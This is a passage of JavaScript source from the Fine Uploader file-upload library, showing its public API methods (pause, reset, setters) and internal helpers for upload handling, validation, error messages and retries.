this._getButton(this._buttonIdsForFileIds[fileId]);\n        },\n\n        getEndpoint: function(fileId) {\n            return this._endpointStore.get(fileId);\n        },\n\n        getFile: function(fileOrBlobId) {\n            return this._handler.getFile(fileOrBlobId) || null;\n        },\n\n        getInProgress: function() {\n            return this._uploadData.retrieve({\n                status: [\n                    qq.status.UPLOADING,\n                    qq.status.UPLOAD_RETRYING,\n                    qq.status.QUEUED\n                ]\n            }).length;\n        },\n\n        getName: function(id) {\n            return this._uploadData.retrieve({id: id}).name;\n        },\n\n        // Parent ID for a specific file, or null if this is the parent, or if it has no parent.\n        getParentId: function(id) {\n            var uploadDataEntry = this.getUploads({id: id}),\n                parentId = null;\n\n            if (uploadDataEntry) {\n                if (uploadDataEntry.parentId !== undefined) {\n                    parentId = uploadDataEntry.parentId;\n                }\n            }\n\n            return parentId;\n        },\n\n        getResumableFilesData: function() {\n            return this._handler.getResumableFilesData();\n        },\n\n        getSize: function(id) {\n            return this._uploadData.retrieve({id: id}).size;\n        },\n\n        getNetUploads: function() {\n            return this._netUploaded;\n        },\n\n        getRemainingAllowedItems: function() {\n            var allowedItems = this._currentItemLimit;\n\n            if (allowedItems > 0) {\n                return allowedItems - this._netUploadedOrQueued;\n            }\n\n            return null;\n        },\n\n        getUploads: function(optionalFilter) {\n            return this._uploadData.retrieve(optionalFilter);\n        },\n\n        getUuid: function(id) {\n            return this._uploadData.retrieve({id: id}).uuid;\n        },\n\n        log: function(str, level) {\n            if (this._options.debug && (!level || level === \"info\")) {\n                qq.log(\"[Fine Uploader \" + qq.version + \"] \" + str);\n            }\n            else if (level && level !== \"info\") {\n                qq.log(\"[Fine Uploader \" + qq.version + \"] \" + str, level);\n\n            }\n        },\n\n        pauseUpload: function(id) {\n            var uploadData = this._uploadData.retrieve({id: id});\n\n            if (!qq.supportedFeatures.pause || !this._options.chunking.enabled) {\n                return false;\n            }\n\n            // Pause only really makes sense if the file is uploading or retrying\n            if (qq.indexOf([qq.status.UPLOADING, qq.status.UPLOAD_RETRYING], uploadData.status) >= 0) {\n                if (this._handler.pause(id)) {\n                    this._uploadData.setStatus(id, qq.status.PAUSED);\n                    return true;\n                }\n                else {\n                    this.log(qq.format(\"Unable to pause file ID {} ({}).\", id, this.getName(id)), \"error\");\n                }\n            }\n            else {\n                this.log(qq.format(\"Ignoring pause for file ID {} ({}).  Not in progress.\", id, this.getName(id)), \"error\");\n            }\n\n            return false;\n        },\n\n        reset: function() {\n            this.log(\"Resetting uploader...\");\n\n            this._handler.reset();\n            this._storedIds = [];\n            this._autoRetries = [];\n            this._retryTimeouts = [];\n            this._preventRetries = [];\n            this._thumbnailUrls = [];\n\n            qq.each(this._buttons, function(idx, button) {\n                button.reset();\n            });\n\n            this._paramsStore.reset();\n            this._endpointStore.reset();\n            this._netUploadedOrQueued = 0;\n            this._netUploaded = 0;\n            this._uploadData.reset();\n            this._buttonIdsForFileIds = [];\n\n            this._pasteHandler && this._pasteHandler.reset();\n            this._options.session.refreshOnReset && this._refreshSessionData();\n\n            this._succeededSinceLastAllComplete = [];\n            this._failedSinceLastAllComplete = [];\n\n            this._totalProgress && this._totalProgress.reset();\n        },\n\n        retry: function(id) {\n            return this._manualRetry(id);\n        },\n\n        scaleImage: function(id, specs) {\n            var self = this;\n\n            return qq.Scaler.prototype.scaleImage(id, specs, {\n                log: qq.bind(self.log, self),\n                getFile: qq.bind(self.getFile, self),\n                uploadData: self._uploadData\n            });\n        },\n\n        setCustomHeaders: function(headers, id) {\n            this._customHeadersStore.set(headers, id);\n        },\n\n        setDeleteFileCustomHeaders: function(headers, id) {\n            this._deleteFileCustomHeadersStore.set(headers, id);\n        },\n\n        setDeleteFileEndpoint: function(endpoint, id) {\n            this._deleteFileEndpointStore.set(endpoint, id);\n        },\n\n        setDeleteFileParams: function(params, id) {\n            this._deleteFileParamsStore.set(params, id);\n        },\n\n        // Re-sets the default endpoint, an endpoint for a specific file, or an endpoint for a specific button\n        setEndpoint: function(endpoint, id) {\n            this._endpointStore.set(endpoint, id);\n        },\n\n        setForm: function(elementOrId) {\n            this._updateFormSupportAndParams(elementOrId);\n        },\n\n        setItemLimit: function(newItemLimit) {\n            this._currentItemLimit = newItemLimit;\n        },\n\n        setName: function(id, newName) {\n            this._uploadData.updateName(id, newName);\n        },\n\n        setParams: function(params, id) {\n            this._paramsStore.set(params, id);\n        },\n\n        setUuid: function(id, newUuid) {\n            return this._uploadData.uuidChanged(id, newUuid);\n        },\n\n        uploadStoredFiles: function() {\n            if (this._storedIds.length === 0) {\n                this._itemError(\"noFilesError\");\n            }\n            else {\n                this._uploadStoredFiles();\n            }\n        }\n    };\n\n    /**\n     * Defines the private (internal) API for FineUploaderBasic mode.\n     */\n    qq.basePrivateApi = {\n        // Updates internal state with a file record (not backed by a live file).  Returns the assigned ID.\n        _addCannedFile: function(sessionData) {\n            var id = this._uploadData.addFile({\n                uuid: sessionData.uuid,\n                name: sessionData.name,\n                size: sessionData.size,\n                status: qq.status.UPLOAD_SUCCESSFUL\n            });\n\n            sessionData.deleteFileEndpoint && this.setDeleteFileEndpoint(sessionData.deleteFileEndpoint, id);\n            sessionData.deleteFileParams && this.setDeleteFileParams(sessionData.deleteFileParams, id);\n\n            if (sessionData.thumbnailUrl) {\n                this._thumbnailUrls[id] = sessionData.thumbnailUrl;\n            }\n\n            this._netUploaded++;\n            this._netUploadedOrQueued++;\n\n            return id;\n        },\n\n        _annotateWithButtonId: function(file, associatedInput) {\n            if (qq.isFile(file)) {\n                file.qqButtonId = this._getButtonId(associatedInput);\n            }\n        },\n\n        _batchError: function(message) {\n            this._options.callbacks.onError(null, null, message, undefined);\n        },\n\n        _createDeleteHandler: function() {\n            var self = this;\n\n            return new qq.DeleteFileAjaxRequester({\n                method: this._options.deleteFile.method.toUpperCase(),\n                maxConnections: this._options.maxConnections,\n                uuidParamName: this._options.request.uuidName,\n                customHeaders: this._deleteFileCustomHeadersStore,\n                paramsStore: this._deleteFileParamsStore,\n                endpointStore: this._deleteFileEndpointStore,\n                cors: this._options.cors,\n                log: qq.bind(self.log, self),\n                onDelete: function(id) {\n                    self._onDelete(id);\n                    self._options.callbacks.onDelete(id);\n                },\n                onDeleteComplete: function(id, xhrOrXdr, isError) {\n                    self._onDeleteComplete(id, xhrOrXdr, isError);\n                    self._options.callbacks.onDeleteComplete(id, xhrOrXdr, isError);\n                }\n\n            });\n        },\n\n        _createPasteHandler: function() {\n            var self = this;\n\n            return new qq.PasteSupport({\n                targetElement: this._options.paste.targetElement,\n                callbacks: {\n                    log: qq.bind(self.log, self),\n                    pasteReceived: function(blob) {\n                        self._handleCheckedCallback({\n                            name: \"onPasteReceived\",\n                            callback: qq.bind(self._options.callbacks.onPasteReceived, self, blob),\n                            onSuccess: qq.bind(self._handlePasteSuccess, self, blob),\n                            identifier: \"pasted image\"\n                        });\n                    }\n                }\n            });\n        },\n\n        _createStore: function(initialValue, _readOnlyValues_) {\n            var store = {},\n                catchall = initialValue,\n                perIdReadOnlyValues = {},\n                readOnlyValues = _readOnlyValues_,\n                copy = function(orig) {\n                    if (qq.isObject(orig)) {\n                        return qq.extend({}, orig);\n                    }\n                    return orig;\n                },\n                getReadOnlyValues = function() {\n                    if (qq.isFunction(readOnlyValues)) {\n                        return readOnlyValues();\n                    }\n                    return readOnlyValues;\n                },\n                includeReadOnlyValues = function(id, existing) {\n                    if (readOnlyValues && qq.isObject(existing)) {\n                        qq.extend(existing, getReadOnlyValues());\n                    }\n\n                    if (perIdReadOnlyValues[id]) {\n                        qq.extend(existing, perIdReadOnlyValues[id]);\n                    }\n                };\n\n            return {\n                set: function(val, id) {\n                    /*jshint eqeqeq: true, eqnull: true*/\n                    if (id == null) {\n                        store = {};\n                        catchall = copy(val);\n                    }\n                    else {\n                        store[id] = copy(val);\n                    }\n                },\n\n                get: function(id) {\n                    var values;\n\n                    /*jshint eqeqeq: true, eqnull: true*/\n                    if (id != null && store[id]) {\n                        values = store[id];\n                    }\n                    else {\n                        values = copy(catchall);\n                    }\n\n                    includeReadOnlyValues(id, values);\n\n                    return copy(values);\n                },\n\n                addReadOnly: function(id, values) {\n                    // Only applicable to Object stores\n                    if (qq.isObject(store)) {\n                        // If null ID, apply readonly values to all files\n                        if (id === null) {\n                            if (qq.isFunction(values)) {\n                                readOnlyValues = values;\n                            }\n                            else {\n                                readOnlyValues = readOnlyValues || {};\n                                qq.extend(readOnlyValues, values);\n                            }\n                        }\n                        else {\n                            perIdReadOnlyValues[id] = perIdReadOnlyValues[id] || {};\n                            qq.extend(perIdReadOnlyValues[id], values);\n                        }\n                    }\n                },\n\n                remove: function(fileId) {\n                    return delete store[fileId];\n                },\n\n                reset: function() {\n                    store = {};\n                    perIdReadOnlyValues = {};\n                    catchall = initialValue;\n                }\n            };\n        },\n\n        _createUploadDataTracker: function() {\n            var self = this;\n\n            return new qq.UploadData({\n                getName: function(id) {\n                    return self.getName(id);\n                },\n                getUuid: function(id) {\n                    return self.getUuid(id);\n                },\n                getSize: function(id) {\n                    return self.getSize(id);\n                },\n                onStatusChange: function(id, oldStatus, newStatus) {\n                    self._onUploadStatusChange(id, oldStatus, newStatus);\n                    self._options.callbacks.onStatusChange(id, oldStatus, newStatus);\n                    self._maybeAllComplete(id, newStatus);\n\n                    if (self._totalProgress) {\n                        setTimeout(function() {\n                            self._totalProgress.onStatusChange(id, oldStatus, newStatus);\n                        }, 0);\n                    }\n                }\n            });\n        },\n\n        /**\n         * Generate a tracked upload button.\n         *\n         * @param spec Object containing a required `element` property\n         * along with optional `multiple`, `accept`, and `folders`.\n         * @returns {qq.UploadButton}\n         * @private\n         */\n        _createUploadButton: function(spec) {\n            var self = this,\n                acceptFiles = spec.accept || this._options.validation.acceptFiles,\n                allowedExtensions = spec.allowedExtensions || this._options.validation.allowedExtensions,\n                button;\n\n            function allowMultiple() {\n                if (qq.supportedFeatures.ajaxUploading) {\n                    // Workaround for bug in iOS7+ (see #1039)\n                    if (self._options.workarounds.iosEmptyVideos &&\n                        qq.ios() &&\n                        !qq.ios6() &&\n                        self._isAllowedExtension(allowedExtensions, \".mov\")) {\n\n                        return false;\n                    }\n\n                    if (spec.multiple === undefined) {\n                        return self._options.multiple;\n                    }\n\n                    return spec.multiple;\n                }\n\n                return false;\n            }\n\n            button = new qq.UploadButton({\n                acceptFiles: acceptFiles,\n                element: spec.element,\n                focusClass: this._options.classes.buttonFocus,\n                folders: spec.folders,\n                hoverClass: this._options.classes.buttonHover,\n                ios8BrowserCrashWorkaround: this._options.workarounds.ios8BrowserCrash,\n                multiple: allowMultiple(),\n                name: this._options.request.inputName,\n                onChange: function(input) {\n                    self._onInputChange(input);\n                },\n                title: spec.title == null ? this._options.text.fileInputTitle : spec.title\n            });\n\n            this._disposeSupport.addDisposer(function() {\n                button.dispose();\n            });\n\n            self._buttons.push(button);\n\n            return button;\n        },\n\n        _createUploadHandler: function(additionalOptions, namespace) {\n            var self = this,\n                lastOnProgress = {},\n                options = {\n                    debug: this._options.debug,\n                    maxConnections: this._options.maxConnections,\n                    cors: this._options.cors,\n                    paramsStore: this._paramsStore,\n                    endpointStore: this._endpointStore,\n                    chunking: this._options.chunking,\n                    resume: this._options.resume,\n                    blobs: this._options.blobs,\n                    log: qq.bind(self.log, self),\n                    preventRetryParam: this._options.retry.preventRetryResponseProperty,\n                    onProgress: function(id, name, loaded, total) {\n                        if (loaded < 0 || total < 0) {\n                            return;\n                        }\n\n                        if (lastOnProgress[id]) {\n                            if (lastOnProgress[id].loaded !== loaded || lastOnProgress[id].total !== total) {\n                                self._onProgress(id, name, loaded, total);\n                                self._options.callbacks.onProgress(id, name, loaded, total);\n                            }\n                        }\n                        else {\n                            self._onProgress(id, name, loaded, total);\n                            self._options.callbacks.onProgress(id, name, loaded, total);\n                        }\n\n                        lastOnProgress[id] = {loaded: loaded, total: total};\n\n                    },\n                    onComplete: function(id, name, result, xhr) {\n                        delete lastOnProgress[id];\n\n                        var status = self.getUploads({id: id}).status,\n                            retVal;\n\n                        // This is to deal with some observed cases where the XHR readyStateChange handler is\n                        // invoked by the browser multiple times for the same XHR instance with the same state\n                        // readyState value.  Higher level: don't invoke complete-related code if we've already\n                        // done this.\n                        if (status === qq.status.UPLOAD_SUCCESSFUL || status === qq.status.UPLOAD_FAILED) {\n                            return;\n                        }\n\n                        retVal = self._onComplete(id, name, result, xhr);\n\n                        // If the internal `_onComplete` handler returns a promise, don't invoke the `onComplete` callback\n                        // until the promise has been fulfilled.\n                        if (retVal instanceof  qq.Promise) {\n                            retVal.done(function() {\n                                self._options.callbacks.onComplete(id, name, result, xhr);\n                            });\n                        }\n                        else {\n                            self._options.callbacks.onComplete(id, name, result, xhr);\n                        }\n                    },\n                    onCancel: function(id, name, cancelFinalizationEffort) {\n                        var promise = new qq.Promise();\n\n                        self._handleCheckedCallback({\n                            name: \"onCancel\",\n                            callback: qq.bind(self._options.callbacks.onCancel, self, id, name),\n                            onFailure: promise.failure,\n                            onSuccess: function() {\n                                cancelFinalizationEffort.then(function() {\n                                    self._onCancel(id, name);\n                                });\n\n                                promise.success();\n                            },\n                            identifier: id\n                        });\n\n                        return promise;\n                    },\n                    onUploadPrep: qq.bind(this._onUploadPrep, this),\n                    onUpload: function(id, name) {\n                        self._onUpload(id, name);\n                        self._options.callbacks.onUpload(id, name);\n                    },\n                    onUploadChunk: function(id, name, chunkData) {\n                        self._onUploadChunk(id, chunkData);\n                        self._options.callbacks.onUploadChunk(id, name, chunkData);\n                    },\n                    onUploadChunkSuccess: function(id, chunkData, result, xhr) {\n                        self._options.callbacks.onUploadChunkSuccess.apply(self, arguments);\n                    },\n                    onResume: function(id, name, chunkData) {\n                        return self._options.callbacks.onResume(id, name, chunkData);\n                    },\n                    onAutoRetry: function(id, name, responseJSON, xhr) {\n                        return self._onAutoRetry.apply(self, arguments);\n                    },\n                    onUuidChanged: function(id, newUuid) {\n                        self.log(\"Server requested UUID change from '\" + self.getUuid(id) + \"' to '\" + newUuid + \"'\");\n                        self.setUuid(id, newUuid);\n                    },\n                    getName: qq.bind(self.getName, self),\n                    getUuid: qq.bind(self.getUuid, self),\n                    getSize: qq.bind(self.getSize, self),\n                    setSize: qq.bind(self._setSize, self),\n                    getDataByUuid: function(uuid) {\n                        return self.getUploads({uuid: uuid});\n                    },\n                    isQueued: function(id) {\n                        var status = self.getUploads({id: id}).status;\n                        return status === qq.status.QUEUED ||\n                            status === qq.status.SUBMITTED ||\n                            status === qq.status.UPLOAD_RETRYING ||\n                            status === qq.status.PAUSED;\n                    },\n                    getIdsInProxyGroup: self._uploadData.getIdsInProxyGroup,\n                    getIdsInBatch: self._uploadData.getIdsInBatch\n                };\n\n            qq.each(this._options.request, function(prop, val) {\n                options[prop] = val;\n            });\n\n            options.customHeaders = this._customHeadersStore;\n\n            if (additionalOptions) {\n                qq.each(additionalOptions, function(key, val) {\n                    options[key] = val;\n                });\n            }\n\n            return new qq.UploadHandlerController(options, namespace);\n        },\n\n        _fileOrBlobRejected: function(id) {\n            this._netUploadedOrQueued--;\n            this._uploadData.setStatus(id, qq.status.REJECTED);\n        },\n\n        _formatSize: function(bytes) {\n            var i = -1;\n            do {\n                bytes = bytes / 1000;\n                i++;\n            } while (bytes > 999);\n\n            return Math.max(bytes, 0.1).toFixed(1) + this._options.text.sizeSymbols[i];\n        },\n\n        // Creates an internal object that tracks various properties of each extra button,\n        // and then actually creates the extra button.\n        _generateExtraButtonSpecs: function() {\n            var self = this;\n\n            this._extraButtonSpecs = {};\n\n            qq.each(this._options.extraButtons, function(idx, extraButtonOptionEntry) {\n                var multiple = extraButtonOptionEntry.multiple,\n                    validation = qq.extend({}, self._options.validation, true),\n                    extraButtonSpec = qq.extend({}, extraButtonOptionEntry);\n\n                if (multiple === undefined) {\n                    multiple = self._options.multiple;\n                }\n\n                if (extraButtonSpec.validation) {\n                    qq.extend(validation, extraButtonOptionEntry.validation, true);\n                }\n\n                qq.extend(extraButtonSpec, {\n                    multiple: multiple,\n                    validation: validation\n                }, true);\n\n                self._initExtraButton(extraButtonSpec);\n            });\n        },\n\n        _getButton: function(buttonId) {\n            var extraButtonsSpec = this._extraButtonSpecs[buttonId];\n\n            if (extraButtonsSpec) {\n                return extraButtonsSpec.element;\n            }\n            else if (buttonId === this._defaultButtonId) {\n                return this._options.button;\n            }\n        },\n\n        /**\n         * Gets the internally used tracking ID for a button.\n         *\n         * @param buttonOrFileInputOrFile `File`, `<input type=\"file\">`, or a button container element\n         * @returns {*} The button's ID, or undefined if no ID is recoverable\n         * @private\n         */\n        _getButtonId: function(buttonOrFileInputOrFile) {\n            var inputs, fileInput,\n                fileBlobOrInput = buttonOrFileInputOrFile;\n\n            // We want the reference file/blob here if this is a proxy (a file that will be generated on-demand later)\n            if (fileBlobOrInput instanceof qq.BlobProxy) {\n                fileBlobOrInput = fileBlobOrInput.referenceBlob;\n            }\n\n            // If the item is a `Blob` it will never be associated with a button or drop zone.\n            if (fileBlobOrInput && !qq.isBlob(fileBlobOrInput)) {\n                if (qq.isFile(fileBlobOrInput)) {\n                    return fileBlobOrInput.qqButtonId;\n                }\n                else if (fileBlobOrInput.tagName.toLowerCase() === \"input\" &&\n                    fileBlobOrInput.type.toLowerCase() === \"file\") {\n\n                    return fileBlobOrInput.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);\n                }\n\n                inputs = fileBlobOrInput.getElementsByTagName(\"input\");\n\n                qq.each(inputs, function(idx, input) {\n                    if (input.getAttribute(\"type\") === \"file\") {\n                        fileInput = input;\n                        return false;\n                    }\n                });\n\n                if (fileInput) {\n                    return fileInput.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);\n                }\n            }\n        },\n\n        _getNotFinished: function() {\n            return this._uploadData.retrieve({\n                status: [\n                    qq.status.UPLOADING,\n                    qq.status.UPLOAD_RETRYING,\n                    qq.status.QUEUED,\n                    qq.status.SUBMITTING,\n                    qq.status.SUBMITTED,\n                    qq.status.PAUSED\n                ]\n            }).length;\n        },\n\n        // Get the validation options for this button.  Could be the default validation option\n        // or a specific one assigned to this particular button.\n        _getValidationBase: function(buttonId) {\n            var extraButtonSpec = this._extraButtonSpecs[buttonId];\n\n            return extraButtonSpec ? extraButtonSpec.validation : this._options.validation;\n        },\n\n        _getValidationDescriptor: function(fileWrapper) {\n            if (fileWrapper.file instanceof qq.BlobProxy) {\n                return {\n                    name: qq.getFilename(fileWrapper.file.referenceBlob),\n                    size: fileWrapper.file.referenceBlob.size\n                };\n            }\n\n            return {\n                name: this.getUploads({id: fileWrapper.id}).name,\n                size: this.getUploads({id: fileWrapper.id}).size\n            };\n        },\n\n        _getValidationDescriptors: function(fileWrappers) {\n            var self = this,\n                fileDescriptors = [];\n\n            qq.each(fileWrappers, function(idx, fileWrapper) {\n                fileDescriptors.push(self._getValidationDescriptor(fileWrapper));\n            });\n\n            return fileDescriptors;\n        },\n\n        // Allows camera access on either the default or an extra button for iOS devices.\n        _handleCameraAccess: function() {\n            if (this._options.camera.ios && qq.ios()) {\n                var acceptIosCamera = \"image/*;capture=camera\",\n                    button = this._options.camera.button,\n                    buttonId = button ? this._getButtonId(button) : this._defaultButtonId,\n                    optionRoot = this._options;\n\n                // If we are not targeting the default button, it is an \"extra\" button\n                if (buttonId && buttonId !== this._defaultButtonId) {\n                    optionRoot = this._extraButtonSpecs[buttonId];\n                }\n\n                // Camera access won't work in iOS if the `multiple` attribute is present on the file input\n                optionRoot.multiple = false;\n\n                // update the options\n                if (optionRoot.validation.acceptFiles === null) {\n                    optionRoot.validation.acceptFiles = acceptIosCamera;\n                }\n                else {\n                    optionRoot.validation.acceptFiles += \",\" + acceptIosCamera;\n                }\n\n                // update the already-created button\n                qq.each(this._buttons, function(idx, button) {\n                    if (button.getButtonId() === buttonId) {\n                        button.setMultiple(optionRoot.multiple);\n                        button.setAcceptFiles(optionRoot.acceptFiles);\n\n                        return false;\n                    }\n                });\n            }\n        },\n\n        _handleCheckedCallback: function(details) {\n            var self = this,\n                callbackRetVal = details.callback();\n\n            if (qq.isGenericPromise(callbackRetVal)) {\n                this.log(details.name + \" - waiting for \" + details.name + \" promise to be fulfilled for \" + details.identifier);\n                return callbackRetVal.then(\n                    function(successParam) {\n                        self.log(details.name + \" promise success for \" + details.identifier);\n                        details.onSuccess(successParam);\n                    },\n                    function() {\n                        if (details.onFailure) {\n                            self.log(details.name + \" promise failure for \" + details.identifier);\n                            details.onFailure();\n                        }\n                        else {\n                            self.log(details.name + \" promise failure for \" + details.identifier);\n                        }\n                    });\n            }\n\n            if (callbackRetVal !== false) {\n                details.onSuccess(callbackRetVal);\n            }\n            else {\n                if (details.onFailure) {\n                    this.log(details.name + \" - return value was 'false' for \" + details.identifier + \".  Invoking failure callback.\");\n                    details.onFailure();\n                }\n                else {\n                    this.log(details.name + \" - return value was 'false' for \" + details.identifier + \".  Will not proceed.\");\n                }\n            }\n\n            return callbackRetVal;\n        },\n\n        // Updates internal state when a new file has been received, and adds it along with its ID to a passed array.\n        _handleNewFile: function(file, batchId, newFileWrapperList) {\n            var self = this,\n                uuid = qq.getUniqueId(),\n                size = -1,\n                name = qq.getFilename(file),\n                actualFile = file.blob || file,\n                handler = this._customNewFileHandler ?\n                    this._customNewFileHandler :\n                    qq.bind(self._handleNewFileGeneric, self);\n\n            if (!qq.isInput(actualFile) && actualFile.size >= 0) {\n                size = actualFile.size;\n            }\n\n            handler(actualFile, name, uuid, size, newFileWrapperList, batchId, this._options.request.uuidName, {\n                uploadData: self._uploadData,\n                paramsStore: self._paramsStore,\n                addFileToHandler: function(id, file) {\n                    self._handler.add(id, file);\n                    self._netUploadedOrQueued++;\n                    self._trackButton(id);\n                }\n            });\n        },\n\n        _handleNewFileGeneric: function(file, name, uuid, size, fileList, batchId) {\n            var id = this._uploadData.addFile({uuid: uuid, name: name, size: size, batchId: batchId});\n\n            this._handler.add(id, file);\n            this._trackButton(id);\n\n            this._netUploadedOrQueued++;\n\n            fileList.push({id: id, file: file});\n        },\n\n        _handlePasteSuccess: function(blob, extSuppliedName) {\n            var extension = blob.type.split(\"/\")[1],\n                name = extSuppliedName;\n\n            /*jshint eqeqeq: true, eqnull: true*/\n            if (name == null) {\n                name = this._options.paste.defaultName;\n            }\n\n            name += \".\" + extension;\n\n            this.addFiles({\n                name: name,\n                blob: blob\n            });\n        },\n\n        // Creates an extra button element\n        _initExtraButton: function(spec) {\n            var button = this._createUploadButton({\n                accept: spec.validation.acceptFiles,\n                allowedExtensions: spec.validation.allowedExtensions,\n                element: spec.element,\n                folders: spec.folders,\n                multiple: spec.multiple,\n                title: spec.fileInputTitle\n            });\n\n            this._extraButtonSpecs[button.getButtonId()] = spec;\n        },\n\n        _initFormSupportAndParams: function() {\n            this._formSupport = qq.FormSupport && new qq.FormSupport(\n                this._options.form, qq.bind(this.uploadStoredFiles, this), qq.bind(this.log, this)\n            );\n\n            if (this._formSupport && this._formSupport.attachedToForm) {\n                this._paramsStore = this._createStore(\n                    this._options.request.params,  this._formSupport.getFormInputsAsObject\n                );\n\n                this._options.autoUpload = this._formSupport.newAutoUpload;\n                if (this._formSupport.newEndpoint) {\n                    this._options.request.endpoint = this._formSupport.newEndpoint;\n                }\n            }\n            else {\n                this._paramsStore = this._createStore(this._options.request.params);\n            }\n        },\n\n        _isDeletePossible: function() {\n            if (!qq.DeleteFileAjaxRequester || !this._options.deleteFile.enabled) {\n                return false;\n            }\n\n            if (this._options.cors.expected) {\n                if (qq.supportedFeatures.deleteFileCorsXhr) {\n                    return true;\n                }\n\n                if (qq.supportedFeatures.deleteFileCorsXdr && this._options.cors.allowXdr) {\n                    return true;\n                }\n\n                return false;\n            }\n\n            return true;\n        },\n\n        _isAllowedExtension: function(allowed, fileName) {\n            var valid = false;\n\n            if (!allowed.length) {\n                return true;\n            }\n\n            qq.each(allowed, function(idx, allowedExt) {\n                /**\n                 * If an argument is not a string, ignore it.  Added when a possible issue with MooTools hijacking the\n                 * `allowedExtensions` array was discovered.  See case #735 in the issue tracker for more details.\n                 */\n                if (qq.isString(allowedExt)) {\n                    /*jshint eqeqeq: true, eqnull: true*/\n                    var extRegex = new RegExp(\"\\\\.\" + allowedExt + \"$\", \"i\");\n\n                    if (fileName.match(extRegex) != null) {\n                        valid = true;\n                        return false;\n                    }\n                }\n            });\n\n            return valid;\n        },\n\n        /**\n         * Constructs and returns a message that describes an item/file error.  Also calls `onError` callback.\n         *\n         * @param code REQUIRED - a code that corresponds to a stock message describing this type of error\n         * @param maybeNameOrNames names of the items that have failed, if applicable\n         * @param item `File`, `Blob`, or `<input type=\"file\">`\n         * @private\n         */\n        _itemError: function(code, maybeNameOrNames, item) {\n            var message = this._options.messages[code],\n                allowedExtensions = [],\n                names = [].concat(maybeNameOrNames),\n                name = names[0],\n                buttonId = this._getButtonId(item),\n                validationBase = this._getValidationBase(buttonId),\n                extensionsForMessage, placeholderMatch;\n\n            function r(name, replacement) { message = message.replace(name, replacement); }\n\n            qq.each(validationBase.allowedExtensions, function(idx, allowedExtension) {\n                /**\n                 * If an argument is not a string, ignore it.  Added when a possible issue with MooTools hijacking the\n                 * `allowedExtensions` array was discovered.  See case #735 in the issue tracker for more details.\n                 */\n                if (qq.isString(allowedExtension)) {\n                    allowedExtensions.push(allowedExtension);\n                }\n            });\n\n            extensionsForMessage = allowedExtensions.join(\", \").toLowerCase();\n\n            r(\"{file}\", this._options.formatFileName(name));\n            r(\"{extensions}\", extensionsForMessage);\n            r(\"{sizeLimit}\", this._formatSize(validationBase.sizeLimit));\n            r(\"{minSizeLimit}\", this._formatSize(validationBase.minSizeLimit));\n\n            placeholderMatch = message.match(/(\\{\\w+\\})/g);\n            if (placeholderMatch !== null) {\n                qq.each(placeholderMatch, function(idx, placeholder) {\n                    r(placeholder, names[idx]);\n                });\n            }\n\n            this._options.callbacks.onError(null, name, message, undefined);\n\n            return message;\n        },\n\n        /**\n         * Conditionally orders a manual retry of a failed upload.\n         *\n         * @param id File ID of the failed upload\n         * @param callback Optional callback to invoke if a retry is prudent.\n         * In lieu of asking the upload handler to retry.\n         * @returns {boolean} true if a manual retry will occur\n         * @private\n         */\n        _manualRetry: function(id, callback) {\n            if (this._onBeforeManualRetry(id)) {\n                this._netUploadedOrQueued++;\n                this._uploadData.setStatus(id, qq.status.UPLOAD_RETRYING);\n\n                if (callback) {\n                    callback(id);\n                }\n                else {\n                    this._handler.retry(id);\n                }\n\n                return true;\n            }\n        },\n\n        _maybeAllComplete: function(id, status) {\n            var self = this,\n                notFinished = this._getNotFinished();\n\n            if (status === qq.status.UPLOAD_SUCCESSFUL) {\n                this._succeededSinceLastAllComplete.push(id);\n            }\n            else if (status === qq.status.UPLOAD_FAILED) {\n                this._failedSinceLastAllComplete.push(id);\n            }\n\n            if (notFinished === 0 &&\n                (this._succeededSinceLastAllComplete.length || this._failedSinceLastAllComplete.length)) {\n                // Attempt to ensure onAllComplete is not invoked before other callbacks, such as onCancel & onComplete\n                setTimeout(function() {\n                    self._onAllComplete(self._succeededSinceLastAllComplete, self._failedSinceLastAllComplete);\n                }, 0);\n            }\n        },\n\n        _maybeHandleIos8SafariWorkaround: function() {\n            var self = this;\n\n            if (this._options.workarounds.ios8SafariUploads && qq.ios800() && qq.iosSafari()) {\n                setTimeout(function() {\n                    window.alert(self._options.messages.unsupportedBrowserIos8Safari);\n                }, 0);\n                throw new qq.Error(this._options.messages.unsupportedBrowserIos8Safari);\n            }\n        },\n\n        _maybeParseAndSendUploadError: function(id, name, response, xhr) {\n            // Assuming no one will actually set the response code to something other than 200\n            // and still set 'success' to true...\n            if (!response.success) {\n                if (xhr && xhr.status !== 200 && !response.error) {\n                    this._options.callbacks.onError(id, name, \"XHR returned response code \" + xhr.status, xhr);\n                }\n                else {\n                    var errorReason = response.error ? response.error : this._options.text.defaultResponseError;\n                    this._options.callbacks.onError(id, name, errorReason, xhr);\n                }\n            }\n        },\n\n        _maybeProcessNextItemAfterOnValidateCallback: function(validItem, items, index, params, endpoint) {\n            var self = this;\n\n            if (items.length > index) {\n                if (validItem || !this._options.validation.stopOnFirstInvalidFile) {\n                    //use setTimeout to prevent a stack overflow with a large number of files in the batch & non-promissory callbacks\n                    setTimeout(function() {\n                        var validationDescriptor = self._getValidationDescriptor(items[index]),\n                            buttonId = self._getButtonId(items[index].file),\n                            button = self._getButton(buttonId);\n\n                        self._handleCheckedCallback({\n                            name: \"onValidate\",\n                            callback: qq.bind(self._options.callbacks.onValidate, self, validationDescriptor, button),\n                            onSuccess: qq.bind(self._onValidateCallbackSuccess, self, items, index, params, endpoint),\n                            onFailure: qq.bind(self._onValidateCallbackFailure, self, items, index, params, endpoint),\n                            identifier: \"Item '\" + validationDescriptor.name + \"', size: \" + validationDescriptor.size\n                        });\n                    }, 0);\n                }\n                else if (!validItem) {\n                    for (; index < items.length; index++) {\n                        self._fileOrBlobRejected(items[index].id);\n                    }\n                }\n            }\n        },\n\n        _onAllComplete: function(successful, failed) {\n            this._totalProgress && this._totalProgress.onAllComplete(successful, failed, this._preventRetries);\n\n            this._options.callbacks.onAllComplete(qq.extend([], successful), qq.extend([], failed));\n\n            this._succeededSinceLastAllComplete = [];\n            this._failedSinceLastAllComplete = [];\n        },\n\n        /**\n         * Attempt to automatically retry a failed upload.\n         *\n         * @param id The file ID of the failed upload\n         * @param name The name of the file associated with the failed upload\n         * @param responseJSON Response from the server, parsed into a javascript object\n         * @param xhr Ajax transport used to send the failed request\n         * @param callback Optional callback to be invoked if a retry is prudent.\n         * Invoked in lieu of asking the upload handler to retry.\n         * @returns {boolean} true if an auto-retry will occur\n         * @private\n         */\n        _onAutoRetry: function(id, name, responseJSON, xhr, callback) {\n            var self = this;\n\n            self._preventRetries[id] = 